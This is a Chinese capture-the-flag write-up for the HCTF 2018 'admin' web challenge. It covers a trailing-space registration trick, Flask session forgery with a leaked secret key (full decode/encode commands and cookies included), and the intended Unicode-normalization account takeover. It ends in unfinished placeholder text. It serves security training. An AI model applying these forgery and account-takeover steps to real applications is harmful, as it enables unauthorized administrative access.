[原题复现]2018HCTF WEB admin(session伪造、unicode漏洞、条件竞争)

简介

原题复现：https://github.com/woadsl1234/HCTF2018_admin

考察知识点:session伪造、unicode漏洞、条件竞争

线上平台:https://buuoj.cn（北京联合大学公开的CTF平台）榆林学院内可使用信安协会内部的CTF训练平台找到此题

第一个方法:

打开界面先查看了源码提示 you are not admin 我不是admin 第一感觉就是要admin登陆于是寻找登陆界面有个注册页面我们先进行注册

尝试注册admin 结果显示已经有了我们尝试"admin "后面为空格

点击注册之后就到了这个界面

找到这一行最右边鼠标移上去有个命令图标点击出现这个可以执行py 我们输入print(username)

输入printf输出得到账户密码

我们登陆得到flag

这是应该个非预期....

看看WP的姿势

方法二:session伪造

方法二:session伪造

session伪造 https://www.leavesongs.com/PENETRATION/client-session-security.html

看作者博客说这也是一个非预期的解，管它呢学姿势就OJBK了。

随便注册一个账户在change修改密码页面发现源码可供下载

https://github.com/woadsl1234/hctf_flask/

下载进行分析发现在app emplateindex.html发现session['name']=='admin'就能得到falg，所以看wp思路可以进行session伪造首先寻找secret_key

在appconfig.py里面发现了secret_key 只要有这个我们就可以进行session伪造了因为我们的Flask的session在本地的

下载工具

https://github.com/noraj/flask-session-cookie-manager

首先获取我们本地的session值

将session值解码:

python .flask_session_cookie_manager2.py decode -c ".eJw9kE2LwjAURf_K8NYuajqzEVwIsaXCS1FiQ7IRdWrz0ThDW6mN-N8nOODqLe7hXO57wOHS1b2GxdDd6hkczDcsHv
BxggWg3afIi7u05wnJNjCSOZVnjuWVRt46DNpJIe-KKqf4NjKSSK4Ns-cRvYrcRjO6JyVtDYZiYl4GJJmJ1BxtcS8FkngnyXFUNjMql1
_SrlImMJT0RaeRmLO8-FTcTcpiUvKdVnRN0FemzCPDWx37lvCcwbnvLofhx9XX9wTpN7YUqmWxUorKKrsakTdBBu2V2BhGK8dEnCiimq
5TZldENsuXzvhjU79Nu-SX7sf_5Hr0MYCh7geYwa2vu9fbYJ7A8w-kYW1v.Xj-tXQ.GmXzuYTP0IobbVCyI-9xVsc5C5A" -s ckj123

得到:

{u'csrf_token': 'bbc9fe7f5aecf00183c8febb45d5b1ac4817606b', u'user_id': u'10', u'name': u'test', u'image': 'GJCS', u'_fresh': True, u'_id': '257121b723d37addad4ea19d38daf1d6de423f6a8b6702fd4ba45689b3226f33abcf52219c6222a30f1bdf9b075c383fc373c54b8e92f3494ad162eb8cfa9a67'}

在解码的时候我们要将原数据里面的test改成admin 然后在进行重新编码

python .flask_session_cookie_manager2.py encode -t "{u'csrf_token': 'bbc9fe7f5aecf00183c8febb45d5b1ac4817606b', u'user_id': u'10', u'name': u'admin', u'image': 'GJCS', u'_fresh': True, u'_id': '257121b723d37addad4ea19d38daf1d6de423f6a8b6702fd4ba45689b3226f33abcf52219c6222a30f1bdf9b075c383fc373c54b8e92f3494ad162eb8cfa9a67'}" -s "ckj123"

得到新的session

.eJw9kE2LwjAURf_K8NYuNJ3ZCC6E2FLhpSix4WUjjlbz0ThDVWoj_vcJDrh6i3s4l_sesD12zcXA9NrdmhFs7QGmD_j4himg22Qoyzu5_YBsFQXLvS5yL4raoGw9RuNJ0V1z7bVcJYYYSWOF2_cYdOKWRvANq3hrMZaDCBSR5TZRE3TlvVLI0h1IYq9dbnVBX-TmmVAYK_6is0RMRFF-aukH7XBcybXRfMEw1LYqEiNbk_pm8BzB_tIdt9cf35zfEygsXaV0K1IlqdppN-9RniJFE7RaWsFrL1SaqJKaLzLh5oxOs5fOht2peZvW41--6f-T8y6kAHaHYM8wgtul6V5_g8kYnn8Rwm24.Xj_KZA.FGcGdsiAkoyhPfzw0dChvF_SR4A

修改原有的session发送得到flag

参考学习:

　　　　作者博客:https://www.ckj123.com/?p=147

　　　　客户端 session 导致的安全问题：https://www.leavesongs.com/PENETRATION/client-session-security.html

　　　　 https://www.cnblogs.com/apossin/p/10083937.html

第三种方法:Unicode欺骗(预期解)

看作者wp这才是真正的预期解

作者说按照这个漏洞思路写的

unicode问题，对于一些特殊字符，nodeprep.prepare会进行如下操作

ᴬ -> A -> a

攻击流程:

注册用户ᴬdmin
登录用户ᴬdmin，变成Admin
修改密码Admin，更改了admin的密码

参考学习:https://www.jianshu.com/p/f92311564ad0

第四种方法

111

简介

111

简介